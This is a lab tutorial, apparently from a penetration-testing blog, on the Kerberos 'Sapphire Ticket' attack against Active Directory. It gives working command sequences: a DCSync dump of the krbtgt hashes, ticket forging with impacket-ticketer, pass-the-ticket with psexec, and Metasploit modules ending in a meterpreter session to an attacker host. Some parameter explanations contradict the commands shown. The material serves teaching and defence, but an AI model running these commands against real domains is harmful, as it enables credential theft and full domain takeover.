Sapphire Ticket Attack: Abusing Kerberos Trust

 The broad usage of Active Directory has made Kerberos attack the bread and butter of many hackers. Researchers have discovered the following new attacks techniques that allow an adversary to gain access to all services and resources within an Active Directory (AD) domain:

Diamond Ticket

Sapphire Ticket

The diamond ticket attack has been well explained in the article “Diamond Ticket Attack: Abusing Kerberos Trust” by Komal Singh.

Sapphire tickets are the evolution of Diamonds Tickets, stealthier. These are legitimate tickets but while in Diamond, ticket modifies the PAC, the Sapphire ticket replaces it with the PAC of another privilege user.  In this article, we are going to deep dive how sapphire ticket attacks work.

Table of Contents

·        Sapphire Ticket

·        Technical Terminology

·        Lab Setup

·        Exploitation Phase - Sapphire Attack

Method for Exploitation

·        impacket

·        nxc

·        metasploit

 

Conclusion

 

Introduction – Sapphire Ticket

A Sapphire ticket functions similarly to a Diamond ticket in that it obtains a legitimate TGT and copies data from its PAC into the forged ticket. The key difference lies in an additional step: instead of using the PAC from the initial authentication, a separate process is performed to acquire a PAC for another user—typically one with elevated privileges.

This process involves:

• Authenticating with the KDC
• Leveraging the S4U2Self and U2U extensions to request a TGS for a high-privilege user (producing a PAC that reflects what the real user’s PAC would contain, though the ticket itself cannot be used in privileged contexts)
• Decrypting the PAC data
• Modifying the forged PAC to match the attributes of the valid TGT
• Encrypting the forged ticket using the krbtgt hash

As with Golden and Diamond tickets, the essential requirement for creating a Sapphire ticket is possession of the domain’s krbtgt hash. However, unlike those tickets, the DOMAIN_SID and DOMAIN_RID are not necessary—they're extracted directly from the valid TGT

 

Important technical terminology

S4U2Self (Service for User to Self)

The S4U2Self Kerberos extension allows a service to request a service ticket for itself on behalf of a user. This ticket includes the user’s authorization data—specifically, the Privilege Attribute Certificate (PAC)—which can be used to make access control decisions.

To use S4U2Self, the requesting user must have at least one registered Service Principal Name (SPN). This SPN enables the Domain Controller (DC) to encrypt the generated service ticket with the service’s secret key.

S4U2Self Ticket Request Flow:

1. The service constructs the PA_FOR_USER data structure, specifying the user it wants to impersonate.
2. It sends a KRB_TGS_REQ message to the Ticket Granting Service (TGS).
3. The TGS responds with a service ticket containing the user’s PAC, encrypted for the requesting service.

U2U (User-to-User Authentication)

User-to-User (U2U) authentication is a Kerberos mechanism that enables a client to request a ticket encrypted with the session key of another user’s Ticket Granting Ticket (TGT)—typically when the server is a user and does not have a long-term key (like on a desktop machine).

U2U Ticket Request Features:

additional-tickets: Includes the TGT of the user acting as the server.

ENC-TKT-IN-SKEY: Instructs the KDC to encrypt the service ticket using the session key from the additional ticket.

The sname field (service name) can point to a user account instead of a traditional service with an SPN.

This allows one user (User B) to securely authenticate to another user (User A), even when User A doesn’t have a stored secret key.

U2U Flow Example:

User A (acting as a server) provides their TGT to User B.

User B sends a KRB_TGS_REQ to the KDC, including both User A’s and their own TGTs.

The KDC generates a new session key, encrypting it twice: once with User A’s session key and once with User B’s.

Both users decrypt their part, and now they share a common session key for secure communication.

This eliminates the need for User A to maintain a long-lived master key, making it safer to run services from less secure endpoints like desktops.

Technical Details

Sapphire Tickets leverage a combination of S4U2Self and U2U to bypass traditional SPN requirements.

Here’s how it works:

• Normally, S4U2Self requires a valid SPN. But by using U2U in tandem, it becomes possible to request S4U2Self tickets without needing an SPN.
• For example, a service configured for Kerberos Constrained Delegation (KCD) might receive an NTLM-authenticated user session. Without a Kerberos service ticket (ST) for the user, the service can’t delegate further.
• In this case, the service sends a KRB_TGS_REQ for an ST for the user—to itself—via S4U2Self.
• The resulting ticket includes the user’s PAC, which the service can decrypt using the krbtgt key.
• Once it has the PAC, the service can inject or modify it in an existing TGT, re-encrypt it, and re-sign it with the krbtgt key.

In short:

S4U2Self lets the service obtain a ticket on behalf of a user. U2U allows this process without requiring a service key. Combined, they offer a powerful way to impersonate users and manipulate Kerberos tickets.

What’s the Difference Between a Diamond Ticket and a Sapphire Ticket Attack?

In both attacks, the manipulation happens on the PAC of a legitimate TGT, but the main difference is in the way it is modified. With a Diamond Ticket, the modification is to the original PAC of the requested TGT, by adding additional privileges or modifying it completely. With a Sapphire Ticket, the attacker modifies the TGT by getting a legitimate PAC of a high-privileged user using Kerberos delegation, and replaces it with the original ticket’s PAC.

Lab setup

To perform this attack, we will create two user admin1 as domain admin and rudra as Standard user in the Domain Controller. To perform this, we logon the domain controller and open command prompt and they the following command as shown below.

net user rudra Password@1 /add /domain

net user admin1 Password@1 /add /domain

net group raaz “Domain Admins” /add /domain                 

                         

Once the command executed, let verify if the user admin1 is really part of the domain admin group. To do so, we go in active directory users and computers – Users – double click on the selected user, in our case its, admin1, go to the Member of tab. You should see Domain Admins same as per screenshot below:

 

 

Exploitation Phase - Sapphire Attack

As outlined above, to execute this attack, the attacker must obtain the KRBTGT hash. In a hypothetical breach scenario, we assume the attacker has compromised the credentials of a privileged account, admin1-User. Leveraging this access, the attacker attempts to perform a DCSync attack to extract the KRBTGT account’s hash.

Extracting KRBTGT hash & Domain SID

impacket-secretsdump ignite.local/admin1:Password@1@192.168.1.48 -just-dc-user krbtgt

The image below shows the NTLM and AES hashes for KRBTGT service account.

Followed by the next step, enumerate the SID for User admin1.

nxc ldap 192.168.1.48 -u raaz -p Password@1 –get-sid

 

Generating forge TGS & PAC

The attacker forges a Service Ticket for user “admin1” with potentially elevated privileges and a valid signature, bypassing detection mechanisms such as PAC validation by the Domain Controller.

impacket-ticketer -request -impersonate  admin1 -domain ignite.local -user rudra -password Password@1 -nthash 761688de884aff3372f8b9c53b2993c7 -aeskey '8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb' -domain-sid S-1-5-21-798084426-3415456680-3274829403 baduser

-domain ‘ignite.local’: Specifies the target domain for the attack.

-user ‘admin1’: The username for whom the forged ticket is being generated.

-password ‘Password@1’: The user’s password to derive cryptographic keys for generating the PAC or ticket (not common in Silver Ticket attacks).

-nthash and -aesKey:

The nthash and aesKey belong to the KRBTGT account, as required in a Diamond Ticket attack.

These are used to cryptographically sign and validate the forged service ticket.

-domain-sid ‘S-1-5-21-798084426-3415456680-3274829403’:

The domain SID is needed to construct the PAC, including user privileges and group memberships.

Admin1: Indicates the SPN (Service Principal Name) or username the attacker is impersonating, forging access to services as “baduser.”

Pass the Ticket

This environment variable tells the system to use a specific Kerberos credential cache file (baduser.ccache) for authentication.

The baduser.ccache file contains Kerberos tickets for the user “baduser,” likely including a Service Ticket (TGS) for the targeted resource.

export KRB5CCNAME=baduser.ccache

impacket-psexec ignite.local/baduser@dc.ignite.local -dc-ip 192.168.1.48 -target-ip 192.168.1.48 -k -no-pass

impacket-psexec:A tool from the Impacket library that uses SMB to execute commands remotely on Windows systems.

ignite.local/baduser@dc.ignite.local:The Kerberos principal name (user@realm) used for authentication:

·        local is the domain.

·        baduser is the username.

·        ignite.local is the hostname of the Domain Controller.

-dc-ip 192.168.1.48:

Specifies the IP address of the Domain Controller (192.168.1.48).

-target-ip 192.168.1.48:

The target system’s IP address where the command will be executed. Here, it is the same as the Domain Controller.

 -k:

Indicates that Kerberos authentication will be used instead of NTLM. The tool fetches the Kerberos tickets from the specified credential cache (KRB5CCNAME).

no-pass:

Tells the tool not to prompt for a password, as the authentication will be performed using the Kerberos tickets in the cache.

Metasploit

Dumps SAM hashes and LSA secrets (including cached creds) from the remote Windows target without executing any agent locally. This is done by remotely updating the registry key security descriptor, taking advantage of the WriteDACL privileges held by local administrators to set temporary read permissions.

The details are as follows:

Target Setup:

• RHOSTS = 192.168.1.48 (target machine, the domain controller)
• SMBDOMAIN = ignite.local (domain)
• SMBUSER = admin1
• SMBPASS = Password@1
• KRB_USERS = krbtgt (Kerberos ticket-granting user)
• ACTION = DOMAIN (indicates domain secrets are being dumped)

Execution:

• The module is run, and secrets are dumped using the DRSUAPI method (commonly used for grabbing NTDS.DIT data).

Output Highlights:

• NTLM hash of krbtgt: 761688de884aff3372f8b9c53b2993c7
• Kerberos AES Key for krbtgt:
  8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb
• This data is crucial for forging tickets because the KRBTGT keys are used to sign valid Kerberos tickets.

 

.

 

Metasploit: Forging Ticket (Sapphire Ticket Attack)

This module forges a Kerberos ticket. Four different techniques can be used: - Silver ticket: Using a service account hash, craft a ticket impersonating any user and privileges to that account. - Golden ticket: Using the krbtgt hash, craft a ticket impersonating any user and privileges. - Diamond ticket: Authenticate to the domain controller, and using the krbtgt hash, copy the PAC from the authenticated user to a forged ticket. - Sapphire ticket: Use the S4U2Self+U2U trick to retrieve the PAC of another user, then use the krbtgt hash to craft a forged ticket.

You're using the Metasploit module forge_ticket to create a forged Kerberos ticket.

Key Steps:

1. Set Up Forgery Parameters:
• AES_KEY = krbtgt AES key from previous step.
• USER = admin1 (impersonated user)
• REQUEST_USER = rudra (user requesting the ticket)
• REQUEST_PASSWORD = Password@1 (used in U2U process)
• DOMAIN = ignite.local
• RHOSTS = 192.168.1.48 (target machine)
2. Run the Module:
• A TGT (Ticket Granting Ticket) and TGS (Ticket Granting Service) response is received.
• Ticket is saved to:
  /root/.msf4/loot/20250128100342_default_192.168.1.48_mit.kerberos.cca_038047.bin

Use ls command to list all the files as shown above. Then we rename the file to.1.bin by using the mv command which makes it easier for future user.

 

This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description

Target setting:

·        Set RHOST 192.168.1.48 – rhost is set to the target machine

·        SMBDOMAIN: ignite.local

·        USERNAME: admin1

·        SMB::AUTH:set to Kerberos

·        SMB::KRB5CCNAME: Kerberos ticket cache provided from /root/.msf4/loot/1.bin

·        SMB::RHOSTNAME:dc.ignite.local (hostname of the DC)

·        DOMAINCONTOLLERHOST: explicitly set to 192.168.1.48

·        LHOST: attacker’s machine: 192.168.1.60

·        Type run and hit enter to execute the payload and open a meterpreter session.

Conclusion

The Sapphire Tickets technique is a powerful method for manipulating Kerberos authentication by combining the S4U2Self and User-to-User (U2U) protocol extensions. It allows an attacker or service to impersonate a user and retrieve their authorization data (PAC) without needing a Service Principal Name (SPN) or long-term service key. Once the PAC is obtained, it can be injected into a forged ticket, enabling privilege escalation or lateral movement within a domain.

This technique demonstrates how legitimate Kerberos features—intended to support flexible delegation and secure peer-to-peer authentication—can be abused when domain security is not tightly controlled. It underscores the importance of:

• Monitoring ticket behavior and unusual delegation requests,
• Securing and auditing KCD configurations,
• Minimizing use of NTLM and ensuring strong service principal hygiene.

In short, Sapphire Tickets turn trust-based Kerberos mechanisms into potential vectors for stealthy attacks—making awareness and detection crucial in modern Active Directory environments.